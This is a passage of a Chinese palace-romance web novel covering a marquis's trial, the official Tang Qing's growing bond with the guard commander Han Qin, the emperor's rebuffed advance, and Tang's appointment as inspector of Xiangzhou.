其罪之三,征战期间,杀良冒功,残害同僚,摄取权利。 大邺立军功制,重武官,在此罪上量定重罪刑罚,无论平民或王侯出身,若犯此罪,一视同仁,皆以车裂之刑分尸,诛夷三族。 其罪四,残害至亲,麻木不仁,此为大不孝,犯十恶大罪。 罪五,通敌叛国,与常年侵扰大邺边境的外族有买卖勾连。 外族侵扰大邺三十余年,更趁诸侯割据之乱时,把战火牵入大邺境内,残杀邺朝无数百姓,国恨难平。 此一罪,为所有帝王都不能容忍对江山社稷存有威胁的人。 此不忠不仁不孝不义丧心病狂泯灭人性之徒,列数一桩桩罪行,足以让他无可辩证,万死难抵。 尚书台将全部关于公冶候的罪证收集整齐,事态严重,势必会引起朝堂动荡,这些至关重要的罪证便由寇广陵亲自送去廷尉府,其余人留下休整。 ** 送走寇广陵,唐青靠在交椅上忍不住将公冶侯所犯罪行再次罗列一遍,按大邺律例对应上每条罪状的处罚后,方才缓了口气。 他与尚书台的另外几名同僚一样,内心始终紧绷着一道弦,盼进展顺利,莫让他们的辛苦白费。 眼前递来一盏温茶,李秀莽道:“润润嗓子。” 唐青浅笑:“多谢。” 苏少游累的不想动了,只嘴上动着,啧啧称奇:“怎么不见尚书郎也给我端杯茶来?” 李秀莽道:“听少游兄声洪如钟,何须饮茶。” 苏少游一噎,手肘碰了碰莫冰。 “他平日里不是惜字如金吗,为何还呛我?” 听几人逗趣,唐青方觉轻松几分。 时辰一过,今日总算得些清闲,所有人都按时散值。 唐青走出尚书台,迎着傍晚的霞光,有种故事落幕之感,可这当真就是结局吗? 他徐缓沿着管道走,感慨自己果然不适合官场斗争。 想起什么,唐青忽然走到与韩擒相遇的石柱旁边,未见对方,不知出于何种情绪,兀自笑了笑。 伫立在原地静候,约莫过一刻,方才准备离去。 此时,却听那人唤他:“先生。” 唐青回眸:“统领。” 韩擒有些不确定:“在此地是为了……等我?” 唐青道:“前些日子散值晚,这条路宫灯明亮,往日回殿习惯走此道,方才不知不觉就走来了。” 韩擒:“……嗯。” 漆黑的双目掩藏些许失落,道:“看先生似有倦色,我送先生回去,今夜早点歇息。” 唐青:“今日不急,晚风甚凉,想去湖边散散心。” 韩擒目光浅动:“好。” 唐青没问韩擒跟不跟自己去,两人有种无需言明的默契。 纤细的身影灵秀如竹,颀长矫健的身影稳如磐石,渐渐的,在夕阳的映照下叠成一道。 ** 来到湖边,斜阳映水,波光霞影,像一面沉静泛着绯橙光亮的镜子。 清风浮起唐青垂落的青丝,柔柔扫向一侧守护的人,裹带微香,使得韩擒侧目。 唐青认真观赏夕阳湖景,韩擒则专注望着身边的他。 “你……总看我做甚?”唐青不由好笑,“我再如何淡定,也做不到若无其事啊。” 韩擒喉结微微滚动,克制地目视湖面……上唐青的倒影。 “先生,是我逾越了。” 唐青只无声笑笑,下颚微仰,让柔和的夕辉洒落在脸庞。 温暖的色泽给他镀上一层烟火气息,冲淡几分渺然之感,韩擒凝望,不禁动容,肃沉的眼底浮起轻轻的弧度。 唐青发现了,道:“很少见你笑。” 继而轻声问:“宫门就要落钥了,还不回去吗?” 韩擒内敛地收起笑意:“今夜需留在宫里当值。” 唐青上次送走梁名章,心绪茫然失落,孤身在此湖边吹风,时至今日,竟与欺骗过他的韩擒在落日的湖岸边并肩而立,当真世事难料。 ** 月上柳梢,韩擒送唐青回去。 两人分别,将到殿门,唐青忽然回头,看见韩擒还在。 他抬手挥了挥,韩擒问:“何意?” 唐青解释:“再见的意思。” 韩擒微微点头,默认了明日会再与他相见。 * 小满日,邺朝发生了一件轰动全国的大事。 廷尉府联合左相周廷,皇帝坐镇,于太庙府前公审定国侯、昭武上将军,公冶侯。 既为天下公审,文武百官,及邺都的百姓们,都可前来太庙府前围观。 是以这日满城喧闹,天没亮,人都往太庙府的方向挤,实在没地方站脚了,就跟猴一样蹿到树上,远远地瞧一眼。 宫内,兰香听宫人们私下闲聊,跑回潇湘殿通风报信。 “先生——” 正在喝粥的唐青抬眸,吹了吹粥面的热气:“怎么了,一惊一乍的。” 兰香立刻端正姿势,说道:“今日丞相和廷尉府在太庙府前公审定国侯,文武百官和许多百姓都去看了。” 唐青淡定道:“我知道。” 兰香:“那先生不去看看吗?” 唐青喝了两口粥,摇头:“不去了,想多睡会儿。” 他一头青丝未束,自肩头柔顺垂落,眉目间还有几分未能消除的倦色。 这阵子忙碌,思虑过甚,人憔悴了不少,加上脚伤才愈,更需安静调养一段时日。 此话都是给他探脉的刘执太医说的,所以唐青遵照医嘱,准备喝完粥后小坐片刻,继续补眠。 兰香道:“先生是该好好休息。” 唐青笑道:“若想出去凑这份热闹,我可以试试能不能寻份关系,捎你去太庙。” 兰香摇摇头:“先生不去,奴婢也不去,就留在宫内伺候先生,改日听宫人们闲聊也一样的。” 唐青这一觉时间颇长,醒时人还恍惚,神情有些忧郁,像被什么魇住了。 他怔怔地靠在榻上,等兰香进来,见他清醒,立刻上前为他着上外衣,挽起落发。 兰香观察:“先生面色不好,可是没睡安稳?” 唐青轻捏眉心:“无甚大碍,外头……审完了吗?” 兰香道:“申时不久,消息就传回宫里,已经审完了。” 唐青静默,询问:“结果如何?” 兰香道:“说是念在公冶侯有从龙之功,赐毒酒,留个全尸,免示众。” 唐青又问:“连曦夫人呢,如何处置?” 兰香替他挽好落发:“这就不知晓了,还没听到宫人们议论。” 唐青点点头:“改日我同寇大人问问。” ** 公冶侯一案暂落,唐青得了假期,休息没两日,他便发了一场烧。 几日来看过太医服了药,热症仍陆陆续续,是以,无论几时,总躺在榻上安养睡觉。 韩擒来过两次,因身份特殊不便入殿,带了几份名贵补品让兰香炖了给他喝。 兰香道:“大统领只能隔着殿门瞧上正厅几眼,好像要透过墙看到里头似的。” 唐青道:“告诉统领,我没什么大碍,只是觉沉了些,请他勿要担心。” 兰香应下。 傍晚前,颐心殿来了人,是李显义。 唐青整理仪容,上前迎见。 李显义笑着把圣旨宣读了一遍,大概之意为唐青此番有功,皇上特意着人送来滋补珍贵药物六盒,蜀锦两匹,白壁一双,黄金百镒。 唐青领旨谢恩,送走李显义后,回头见兰香支吾其词,神色犹豫。 唐青:“怎么了?” 兰香把门掩上:“先生,此次有功之臣,我听宫人说,像寇大人他们都升了官秩,唯独大人……” 唐青笑着摇头:“就为此事?” 兰香:“也不知皇上何意。” 唐青道:“甭想那些,既然赏了不少钱,今后若我什么时候告老还乡,出去了,还能带着这些钱舒闲养老,乐得自在啊。” 兰香笑道:“那奴婢还能跟着公子吗?兰香吃的不多,不费钱。” 唐青道:“到时候可能你已经寻到如意郎君,若嫁可了人,怎么还能跟着我伺候?” 兰香:“不嫁不嫁,先生你……” 话未说完,外头传来动静 兰香前去查看,笑道:“先生,大统领又来看您。” 唐青寻了个地方和韩擒见面。 ** 凉亭之下,双人对目。 韩擒道:“你清减了不少。” 唐青道:“忙嘛,时下不忙了,补眠好几日。你送来的补品我都吃了,过些时候就能养好。” 他看着韩擒,不知怎地,望着那双沉静漆黑的眼,忽然问:“私下里,我可以唤你名字么。” 韩擒:“……好。” (下) ** “韩擒。” 只这么唤了一声,使得韩擒心脏狠狠跳了几次。 唐青面容上犹带些许憔悴,增了让人怜惜的情愫。 此情此景,韩擒想做点什么,他好像丢失了素日里的庄谨严肃,低声道:“要好好照顾自己,莫再生病了。” 抬起的手掌,终是很轻地抚在日光洒落的发梢上,触碰一瞬,犹如触摸着世间最美好的东西,还没完全放下的手指,停在毫厘之间。 韩擒面耳浮起炙热,目光却舍不得从唐青的脸庞移开,在等对方的回应。 只要唐青颦眉,他便会放手。 可唐青没有丝毫不满,只略为疑惑地偏了偏视线,看着那只将落未落的手掌。 唐青有些好笑:“我又不是小孩子,哪里还需要生了病就摸摸脑袋安慰的。” 像接受到一种被默许的信号,韩擒不似方才那般轻触即可,而是沿着发髻,来回抚了两下。 这是被唐青允许的,接受的安抚。 他只觉浑身肌肉在此刻都要鼓胀爆裂开,嗓子不住下咽,气息有些粗。 怕贸然开口的声音吓到对方,韩擒收起手掌,像块猛火烧红的石头站外亭子外。 唐青望着他的背影:“再不说话,我就回去了。” 韩擒哑声挤出一句:“你……皇上封赏的事,不必介怀。” 唐青:“介怀?” 他疑惑:“介怀什么。” 韩擒便把事情一五一十的说了。 原来只除了唐青之外,尚书台众人都升了官秩。 寇广陵从守尚书令正式擢升为尚书令,李秀莽莫冰等人,官位都往上升了一级,而唐青此番理应记头等功,却未受官秩进封,几日来朝中私下有些议论。 “原来指的是这件事。”唐青云淡风轻的,与韩擒对视,旋即浅浅一笑:“皇上的做法,定有他的意思,而且我得到不少赏赐,还有什么不满足呢?” 韩擒道:“我知先生并非看重功名利禄的性子。” 可他就是忍不住担心,只有亲眼见到人,问着了,才觉得心安下来。 唐青与韩擒相处片刻,对方还有公务,他便不相送。 ** 翌日,唐青回了颐心殿当值。 公冶侯一事过后,丞相趁热打铁,肃清了一批官员。 其中削官秩的削官秩,流放的流放,收缴的钱财全部用于灾款拨放。 而今朝堂之中,人人风声鹤唳,谏言如雪花,时时刻刻都寻着机会在帝王面前表决忠诚,听得萧隽耳朵都起茧子。 面无表情听了好几日,这日的朝会早早散了。 直到在颐心殿看见那抹紫色身影,衣摆上的祥云仙鹤银纹随着青年研墨的举动,仿佛下一瞬会灵动地飞跃出来。 唐青放下墨条,手指如笋,指尖上沾了点墨黑,甚为惹眼。 萧隽不着痕迹地望去,道:“卿近来劳累,清瘦了。” 唐青拱手:“为皇上自当鞠躬尽瘁,此等小事不足挂齿” 又道:“谢皇上惦念。” 萧隽吩咐:“端些点心进来。” 李显义亲自去准备。 ** 唐青继续研墨,接受帝王平静的审视。 须臾后,萧隽问:“卿可觉委屈。” 唐青心领意会:“皇上的一举一动自有深意,臣何须妄加揣测圣意?” 萧隽道:“连卿也同那些大臣们一起,向孤表起决心了?” 唐青浅浅抿唇:“臣本就是皇上的刀,何须再表决心,所言自当都属真心话。” 他润了润狼毫:“皇上请用。” 萧隽在铺开的宣纸上落墨,目光未看向唐青,话却是对他说的。 “如今朝上开始有官员议论卿,便是卿树立威信的最好时机,方才起步,不宜招摇。” 唐青道:“臣明白。” 这几日宫内有什么关于自己的言论,兰香都如实通报。 唐青借调养身子的时候想了下,现今朝堂借着这股风,有丞相带领,御使大夫监察肃清各党的歪风邪气。 彻查公冶侯,其中推波助澜的人当中,数他功不可没。 如果这时候升职,容易引得本就草木皆兵的官员们猜忌或嫉妒,总之,他这刀还是不能一下子斩得太狠。 皇上替他一步步铺路,让那群官员有份心理准备,以后好掂量他的份量,便于行事。 只是…… 唐青忽然思考另一个问题,皇上跟他说这些,是出于向他解释原因,还是……安慰? 从来都说一不二的帝王,最近同他说的话好像越来越多了。 没等唐青琢磨透彻,李显义送来点心。 萧隽道:“放着吧。” 眼神朝唐青示意,让他去案前坐下。 李显义在御案前布置好茶水和点心,皇上不喜甜,几份小食味道很淡,另外两份正常甜味的,则是分给唐青吃的。 正午前唐青从颐心殿散值,午后皇上要去猎郊骑马,他便回了尚书台。 寇广陵带领余下几人,都在忙着整理官员名册。 寇广陵打量他:怎么休息几日,侍郎反而清减了。” 苏少游端来几盘酥点:“快来尝尝。” 他指了指李秀莽:“今日太阳打西边升起,他居然带了亲手做的点心过来。” 唐青打量一如既往地同僚,浅笑着尝了一块酥点,有梨子的味道。 之后,他随寇广陵单独上了二楼。 趁整改朝堂之风正热,寇广陵让他说了裁剪冗员的具体方案。 当时他在御前,从经济变革谈到整改官秩晋升的制度,皇上许是和寇广陵提起,这才有了今日的进展。 具体措施一时半刻写不完,唐青长话短说。 “相信大人也从公冶候此案瞧见了,大邺重武,着重以军功制加爵。放在过去的特殊环境下,固然成效很好。为了获取军功,其举措很好的鼓舞将士们在战场上奋勇杀敌,但……弊端亦有之,人心难测,谁知下一个贪功冒领,将刀刃挥向战友的是何人,所以需得调整。” 唐青从过去的政策上做了大致的总结,他在案前坐下,以墨润笔,慢慢写着官吏改革的方案。 结合大邺国情,官员冗杂,需要裁减,其中子继父位,成丁后需降爵级。 若三代之后无军功,则取消爵位。 至于无能、无用、不急的虚闲官位,全部淘汰,少部分经考核通过可继续留任,但需削减禄秩。 节省下来的俸禄,可以用来选练贤才。 至于朝堂官员之间,严禁结党营私,不正之风,禁私门请托,防止口舌生事,破坏风气。 这部分措施光是详细描述,就写了唐青足足半日。 寇广陵翻着他一纸一纸的落下的卷书,叹道:“此一番举措,定能引得朝中动荡,在因公冶侯郭常牵动的变革没稳定前,需往后延迟啊。” 唐青抽空抬头,道:“自然,吏治在于长久实施,从长计议吧。” 他忽然问:“大人,不知连曦夫人如何?” 寇广陵道:“侍郎放心,皇上仁慈,念连曦夫人一家蒙受冤情,且她此次协助有功,不但没有为难她,还按连膺将军所立下的功勋追封赏赐,答应把寻回的连将军的遗物归还给夫人。” 又道:“只是太庙公审结束后,听闻连曦夫人有些忧郁,还病了,以病为由不见朝堂派去的人。她待你有些不同,愿意同你敞开心扉,明日正午后,你且代尚书台出宫一趟,亲手把连将军遗物送还她手里。” 唐青答应:“好。” ** 翌日正午,唐青出宫。 他去了金水街,连曦夫人从将军府搬出来后,皇上追封连将军功劳,特意赐下这座府邸,连曦夫人带着两个孩子住了进来。 看门的护卫一听是他,直接放行,道:“夫人交代,若公子来了,可去见她。” 唐青笑问:“不怕我是冒充的?” 护卫脸红:“夫人说公子貌似谪仙……” 放眼邺都,能有几人可担得起这样的称呼。护卫本来不明白,可见到来人第一眼,就什么都明白了。 唐青顺利见到养病中的连曦夫人,精神还不错,就是经受打击太重,连续生病。好在有两个孩子陪伴,不至于垂泪神伤。 顺利归还连膺将军的遗物后,唐青走在大街上,步行愈发缓慢。 正好得了空闲,他觉得自己似乎把什么重要的事情忘了。 原地驻足片刻,望见邺都林立的酒楼,想起自己欠韩擒一顿饭。 他走到一间水果摊旁边,向卖果子的摊主询问了统领府邸所在,接着拎了袋新鲜的果子,去往韩擒的府邸拜访。 韩府位于邺都朱雀街西侧,是整条街最为僻静的一处方向。 管家没见过唐青。 观唐青衣着虽然素简,可气质脱俗,容貌惊绝,连忙把人请入大厅。 韩擒以军风治理府内所有仆人,其中一条,便是不能以貌待人,纵使有乞丐上门讨饭,亦不能对其动武,给些饭菜,稍加驱赶便是。 管家请了唐青入内,道:“将军一早就去了宫里,这个时辰,约莫也快回来了,老奴给公子送杯茶水来。” 唐青笑笑:“有劳了,那我在此静候。” 半时辰后,韩擒刚踏进府邸大门,听管家说有位容貌出绝、神仙似的公子在厅内等他,心脏不由一紧,跳动剧烈。 他越走越快,甚至动用了轻功。 会是他吧……直觉告诉自己,就是…… 唐青迎出大厅,望着明显愣住的人,笑问:“怎么,大统领不欢迎?” 他做出一副那我走的姿势,方才转个身,肩膀便被韩擒轻轻一拦。 第027章 第 27 章 唐青眉眼含笑, 故意调侃。 “怎地,大统领行事如此蛮横霸道,竟如此对待府中来客, 还不让人离开?” 韩擒虚虚揽在他肩膀的手撤不是, 不撤也不是, 注视着唐青的目光, 流出几许言辞表露不出的无奈。 最后只道:“先生, 我非此意。” 话刚出口, 便犹如打通任督二脉, 顺着话继续说下去。 “我只想你留下来。” 唐青收起逗弄的心绪:“还真留不住。” 韩擒:“……” 那他为何要登门…… 唐青不忍继续堵这人的话,坦言道:“我来请统领吃饭,之前承了统领几次情, 答应过的。今日出宫,忙完想着闲来无事,择日不如撞日。” 他笑吟吟问:“统领可愿给下官一个机会?” 韩擒拒绝的话自是说不出口。 让唐青在府内等候自己良久,暗自窃喜的同时, 萌生出几分愧疚自责。 “我……” 唐青道:“统领换身衣物吧, 穿着官服外出吃饭, 太招摇了。” 韩擒矜持点头:“稍侯片刻。” * 寝屋内,褪去官服的韩擒背对屏风,肩臂的肌肉禁不住抽搐起伏。 他一向平稳,素无什么令他欣喜失控的事。哪怕今年升到禁军统领一职,也未高兴。 朝中官员祝贺他擢升,韩擒想起的,只有因他欺骗而浮起几分失望的那双眼睛。 此刻, 忽涨的情绪叫他压着粗气,肩背纹理分明, 沁出热汗,韩擒扯了布巾粗略擦干。 侍奉的小厮送来衣物,韩擒撇去一眼,忽然问:“有没有其他颜色的,青色。” 小厮愣呆一瞬,统领不常穿青色衣物,听到吩咐后,立刻着手去准备。 很快,一件墨青长袍送入屋内,韩擒将其换上,扣上黑色腰封。 小厮帮忙整理,只觉大统领英朗不凡。 其身姿挺拔,此颜色一衬,好似悬崖之上屹立的矫矫青松,与素日的严肃比起,多了几分水墨般的气度。 韩擒抬步而出,末了,问小厮:“这身如何。” 小厮肯定道:“统领丰神英朗,走在邺都街头,定能迷倒诸多妙龄少女。” 韩擒心下一定,想着无需迷倒谁,只要大厅里的人满意就好。 ** 今日出宫,唐青着了一袭云青常服,袖广腰窄,气质清雅飘逸,就如亭亭而立的竹。 韩擒则一身墨青斓衣,身形矫健,气度沉稳,仿若久经年月仍屹立不动的松。 两人并肩而行,甚为般配。 府内有马车,韩擒虽已遣了管事安排,却还是问道:“可要乘马车。” 唐青出宫的时间有限,放在平时,或许还有闲情逸致到处逛街。 可吃饭需要时间,他还得在宫门落钥前赶回去,是以点头。 待坐进马车内,唐青微微抬头,与韩擒四目相对,无端觉得还算宽敞的空间变得窄小起来。 他眉眼忽然挑了些弧度,眼似桃花,眸光流溢,含着温和的情,叫韩擒移不开视线。 韩擒只一刻失态,唐青垂眸,未出声点破。 这份默许,使得前不久擦了汗的韩擒,浑身再度冒出难忍的炙/热来。 ** 邺都醉月楼,有着兖州最地道的风味菜色。 唐青订了临窗的雅厢,正对湖景,夏初的湖岸杨柳依依,有船坊停经,歌乐渺渺,赏之心怡。 唐青请韩擒点菜,道:“我第一次来邺都,没在酒楼吃过饭,不了解兖州菜肴。” 韩擒询问他的口味,点了几道菜,份量适合两人。又觉此夏已有点热,多叫了碗用冰块镇过的赤豆甜汤。 饭后,两人走在街上消食。 韩擒左手拎着唐青从醉月楼打包的食盒,右手则随时抬起,防止唐青被行人碰到。 从宫外买的吃食和首饰,唐青打算带回潇湘殿送给兰香。韩擒知他心思一般,给他多介绍了几间老牌子糕点铺。 喧嚷中,韩擒扫过周围摊点,迎着落日,停在卖灯笼的摊前。 十五前后街头卖花灯的小贩很多,韩擒选了盏莲花灯,视线落在唐青身上。 夕阳西落,韩擒送唐青回到宫门前,把食盒交给他。 唐青眉眼染着笑:“多谢统领,今日本是请你吃饭,不想却让统领照顾颇多。” 韩擒:“无妨。” 说着,将莲花灯递给他。 “如若路上暗了,拿来照明。” 唐青接过柄端,指尖无意与另一只手碰到。 他道:“下官回去了,统领不必相送。” 韩擒欲言又止,,忽然开口:“明日见?” 唐青道没有回头,垂落的青丝却随着他点头的动作,在晚风里晃了晃。 ** 翌日,唐青御前当值。 萧隽在殿内批了一个时辰折子,便要去演武场骑射练武。 他对唐青示意:“卿也过来。” 唐青放下手中整理的文书,随萧隽去了帝王御用的演武场。 雷首被侍卫牵来,除了皇帝,对谁都喷气,桀骜不驯,烈得很。 经过侯在场地的唐青身侧时,雷首忽然停下,侍卫忙用力牵紧缰绳。 他知照这位貌美的唐侍郎正得皇上青睐,若雷首碰撞了对方,侍郎跟马安然无事,被问责定罪的只有自己。 唐青微微一笑,对侍卫道:“它怎么不走了?” 侍卫:“额……” 他双眼蓦然瞪大,瞧着这匹性子剽悍的雷首竟要往唐青的方向倾低脑袋。 侍卫准备用力把它牵走,却见唐青伸手,在它脑门摸了摸。 雷首是世间罕见的宝马,气势如电,跑起来时周身犹如有数道惊雷环绕,如此霸道猛烈的战马,却在唐青的触摸下收敛了性子。 “它不喷我。”唐青浅笑,未收的笑容撞入换了骑装的帝王眼底。 萧隽打了个响指,雷首从侍卫手上的牵绳挣脱,凑到主人跟前用脑袋去蹭掌心。 抚着雷首鬓毛,萧隽问唐青:“要不要学骑射。” 唐青原本觉得不会骑射也没什么,可自从有了上次近郊共骑的经历,寻思学些皮毛也无妨。 “可臣的身子不宜剧烈运动。” 萧隽似笑非笑地:“无妨,给卿牵匹性子温顺的小马过来。” * 侍卫奉命牵了匹小马到场上,唐青打量模样小巧温顺的枣红马,再看威风霸气的雷首,噤声半晌。 只是,枣红马虽不若雷首威风,性子却讨喜得很,唐青摸着它乌黑圆溜溜的眼睛,在萧隽的直视下,顺利坐上马背。 他轻柔拍拍枣红小马的侧脑,笑道:“可能走得快些。” 小马晃晃脑袋,似在回应,旋即沿着草场轻快地疾跑。 起初唐青还稳稳当当地坐着,可他毕竟初次骑行,遇到意外在所难免。 枣红小马越跑越快,唐青不慎跌落下马,纵有旁边的侍卫护着,也慢了一步。 比起侍卫,更快的是自雷首身上跃起的帝王,及时把落马的唐青拉回怀里。 萧隽面上森然,连名带姓喊着人。 “唐青,这才上马,就想疾跑了?” 唐青亦有冷汗。 他身子虚软无力,若非被萧隽强行抱稳,恐已瘫坐在地。 “臣、臣……” 心脏急速地跳动,他舔了舔唇:“臣知罪。” 萧隽冷笑:“知罪?孤看你不知死活。” 唐青缄默。 若不是对方要他学习骑射,又怎会发生意外。 可方才萧隽认真教他,是他一时得意忘形,才导致跌落下马。 怪自己粗心大意,怨不得任何人。 僵持片刻,唐青想从帝王怀里推退开,手指轻轻推了推,对方纹丝未动。 萧隽见他挣动,桎揽腰肢的大掌愈发用力,隔着薄薄的夏袍,两人距离如此之近,仿佛连皮肉都贴在了一起。 温暖的沁香袭着萧隽肺腑,这阵香,仿佛因唐青发髻两边渗出的细汗变得馥郁。 他心念闪动,生出的怒气,化为无名的欲.火。 萧隽浅淡的目色逐渐深邃,唐青心下一紧,刚开口喊:“皇上——” 瞳孔蓦然放大,急忙偏脸,让覆下的薄唇落在颈侧。 脂白的颈肉细汗一滚,萧隽轻触在肌肤上游移的唇,炽热却极轻地吮了吮那滴薄汗。 “卿好香……” 唐青闭眼,冷道:“君要臣死,臣不得不死,若皇上想要臣这具身子,臣自当奉上” 萧隽审视着怀里的臣子,见他脸上无半分情动,便问:“就这么不情愿?” 唐青似乎累极,垂低长睫,一副任由萧隽怎么做他都无动于衷的模样。 须臾之后,唐青坚决地后退,垂首揖礼。 “若皇上没有吩咐,臣先告退,不扰了皇上的兴致。” 萧隽:“……” 狭长双目闪着怒气,他凉薄道:“退吧。” 直至唐青离开,萧隽拿起烈天弓,朝三百丈之外的木靶射去。 “砰”地一声,整个箭靶顿时四分五裂。 第028章 第 28 章 演武场一片死寂, 值守在四周的宫人纷纷跪地,气都不敢出。 李显义望着神色森寒的帝王,不明白方才还好好的君臣气氛, 为何瞬间就变成了冰窖般的样子。 若放在前些日子, 李显义定会私下提点唐青几句, 劝他识时务。 跟了皇上没什么不好的, 这是天下人梦寐以求的荣宠, 何以能拒绝? 但近来唐青所做的一桩桩实事, 让李显义改变主意。 唐青不仅心思灵慧, 更为了皇上鞠躬尽瘁,有着天下人不敢为的魄力和胆气,那些到了嘴边宽劝的话, 便也止住了。 以李显义的私心来判,他宁可陛下身边有这样的能臣分忧解难,也不想看陛下身边多个脔`宠。 且唐青,本就不该是那等脔`宠媚色之流。 李显义无声叹气, 目光跟那匹眼神无辜的枣红小马对上。 他估摸着皇上应该恢复如常了, 准备开口, 却听皇上道:“他方才是不是伤着了。” 李显义忙点头:“回皇上,唐侍郎离开时,腿上似有异常呢,虽然没摔着,但前些日子毕竟扭过脚,且第一次骑马,兴许腿上有磨伤的地方也说不准。” 萧隽扯扯嘴角:“你说, 还有哪个人身子像他这般,碰一点磕一点就受伤的?” 李显义看皇上明显气已经消了, 开始关心起唐青,干脆顺着话继续开口。 “唐侍郎离开不久,奴才这便追上去,给对方送些药。” 萧隽:“……李显义,孤不知你何时会擅作主张了。” 李显义讪讪低头:“那陛下……” 萧隽目色淡漠:“去吧。” 李显义窃笑,赶回颐心殿挑了瓶珍贵的药,直奔潇湘殿。 * 兰香于殿前接见,李显义左右瞧着,问:“唐侍郎呢?” 兰香:“……先生还未回来。” 李显义疑惑:“带着伤,没回殿内还能去哪?” 兰香急得失了仪态:“先生又伤着了?” 李显义道:“你这小丫鬟,对侍郎倒还衷心,莫要惊慌,只是骑马时磨了点皮。” 他将药递给兰香:“等侍郎回来,叮嘱他抹上就可恢复,这是陛下赏赐的药。” 兰香领了药叩谢皇恩,一时半刻不知先生能去何处。 想起近日先生与大统领来往颇为密切,陡生几分预感,再看手中的御赐伤药,只觉烫手。 如果隐瞒,那就是欺瞒皇上,可若说了,与背叛先生又有何异? 权衡之下,最后她咬咬牙,只要先生不说,便决定替先生瞒好此事。 ** 前不久,唐青方从演武场离开,他腿上火辣,步行姿势有点怪异。 途中遇到韩擒,对方一眼看出异常,直接他把他带走。 两人并肩而行,穿过僻静的翠海园,韩擒带他来到禁军统领专用的廨舍,打算取药给他涂拭磨破的地方。 尽管四周雀鸟无声,唐青出于留意,多问一句:“韩擒,带我过来当真妥当吗。” 韩擒道:“安心便是。” 他心知唐青的顾忌,也未觉对方想要隐藏两人的往来有何不妥,只要唐青愿意同他一直这般接触,韩擒愿意把这段关系藏于暗处。 ** 廨舍内,空气里浮动着犹如经日光久晒之后的散发的木质气息,就与韩擒身上的气息相似。 唐青静候在大厅之内,很快,韩擒拿了瓶药向他走近。 “此药温和,就算抹于肌肤,也不会生出刺痛感,你……” 唐青已跟他解释伤势来由,初学者,磨伤的地方,自然多在两腿内侧的位置。 韩擒吞咽发干的嗓子,话未脱口而出,只想想,耳廓便先烫了一圈。 唐青看出韩擒疑似脸红,便淡定接了药。 本来还有点不好意思,可见此人坦诚得过于真实的反应,垂眸,虽掩饰了笑意,禁不住弯弯唇角。 韩擒道:“皇上……为何突然让先生学骑马。” 唐青想起近郊共骑一事,不知怎么,想瞒着韩擒,可这人,除奉命潜入梁王府骗他的那次,时至今日,对他的帮助颇多,待他确为真诚。 想罢,化为叹息,道:“前些日子出宫办事,皇上与我同骑一匹马,拿此调笑我,是以想让我练习骑射。” 韩擒目色动了动,明知君臣本分,他该恪尽职守。 可……心之所愿,他克制不住。 稍息的变化未让唐青觉察,韩擒道:“若想强身健体,我可以教先生一套简单的拳法,每日早晚一次,长久坚持,不但增强体质,还有延年益寿的效果。” 唐青“噢”一声,笑问:“不会叫做太极拳吧?” 韩擒不解:“何为太极拳。” 唐青摇摇头:“没什么。” 他取了药回潇湘殿,方知皇上给他赐药一事。 两瓶药置放于手心,当天夜里,唐青只用了韩擒送的那瓶。 ** 唐青照常在御前当值,君臣如旧,风平浪静。 他与皇帝之间,平静得仿佛没发生过演武场的争执。 萧隽批阅奏折,直至正午,适才停止。 君王还未离殿,唐青继续留守当值。 最大的领导还没下班,他一个打工人哪里敢借口回去。 萧隽展开一份文书,道:“卿来瞧瞧。” 唐青被召唤至御案前,低眸注视。 此文书,竟是就他之前写的经济变革,重新拟定出的一份田地改制策略。 内容上表达,大致要重新核算土地和人口,把地主、乡绅多余的地,结合国有的田地,按户籍人头陆续分到农民手里。 有关田地的革改之策,触及几部分人的利益,为了防止矛盾激化过度,决定从点试验,选取襄州梧郡作为变革地点,先看效果,若变革成功,方可推行至全国。 而这变革发起人,还未决定。 萧隽问:“卿可有信心。” 唐青微微震动,谨慎道:“若为皇上所愿,臣定全力以赴。” 萧隽挑眉:“并非全力以赴,而是需将事情办妥。” 唐青:“……臣领旨。” * 同日午后,留在潇湘殿的唐青等到李显义带着圣旨前来。 诏书中,皇上任命唐青为襄州巡察使,赐金龙刀。 上至诸侯百官,下至百姓平民,见金龙刀如见帝王,便于唐青行事。 李显义道:“恭喜唐侍郎了。” 继而笑着改口:“理应是恭喜巡察使大人,陛下吩咐,三日后启程。” 唐青双手接过圣旨和金龙刀:“谢皇上恩典。” * 殿内,兰香忙前忙后,无论衣物或药材,统统都要塞进箱子里。 唐青好笑地看着她:“皇上命我秘密出行,带这么多箱子,得乘几辆马车?目标太大,有违皇命呀。” 兰香只得把厚实些的衣物被褥取出,时节至夏,留两三件锦帛披风,逢落雨可披穿上御冷。 尚书台的同僚们,知他要去襄州,欲为他在瑞福楼准备一份奢豪酒宴,权当践行。 唐青婉拒:“皇上特意吩咐此行需得低调,不能引人注目,去瑞福楼吃酒宴就不必了,若大家不嫌弃,取些酒菜,咱们就在一楼喝一顿便好。” 苏少游道:“升了官,就这般祝贺么?襄州巡察使诶。” 唐青笑着看向寇广陵:“这儿还有个尚书令大人呢,我只当大家是同僚,官品多少,你们在我心里始终不会改变。” 苏少游神色动容,寇广陵给他斟了盏茶:“你身子不便,酒让我们喝,你就以茶代酒。” 又道:“此行皇上会从禁军中调遣人马暗中保护你,而明面上,则令秀莽与另外几人协助你。” 唐青点点头,茶盏转了一圈 ,停在李秀莽面前:“还请尚书郎多多照应。” 李秀莽与他碰杯:“大人客气。” 唐青连饮三盏茶水,突然用力将杯盏掷摔于地面。 几人望着碎裂的瓷盏,对上唐青含笑的眉眼。 唐青道:“诸位放心,我不会给尚书台丢脸,也不会让皇上失望,此行定会成功,决心便犹如这地上的瓷盏。” 苏少游合掌:“好,没想到温和的唐侍郎,竟有此等魄力和胆气。” 寇广陵笑笑:“这样的侍郎,素日里倒是少见呐。” ** 酒宴散,天色微晚。 唐青从尚书台出来,吹着清风,慢慢沿能遇到某人的官道徐行。 韩擒如约等在石柱旁边,唐青见他,莞尔轻声道:“久等,今日来晚了。” 待他走近,韩擒微微皱眉:“喝酒了?” 唐青拂袖:“是同僚们的酒气沾我身了,今日他们为我践行。” “韩擒,有件事需得告诉你,过两日我就要启程前往襄州,皇上任我为襄州巡察使,命我到梧郡办事。” 他们默契的来到湖边,站在岸上,目光对月,感受清辉照拂。 韩擒道:“恰巧我也有事和你说。” 唐青:“何事?” 韩擒道:“襄州以南,受东溟国滋扰,皇上与丞相商议,派我过去协助襄州水师总督。” 韩擒道:“皇上还给我下了另外一道暗旨,此途,无论发生什么,都必须护襄州巡察使周全。” 唐青诧异,旋即浅浅一笑。 “那就有劳统领了。” 第029章 第 29 章 启程当日, 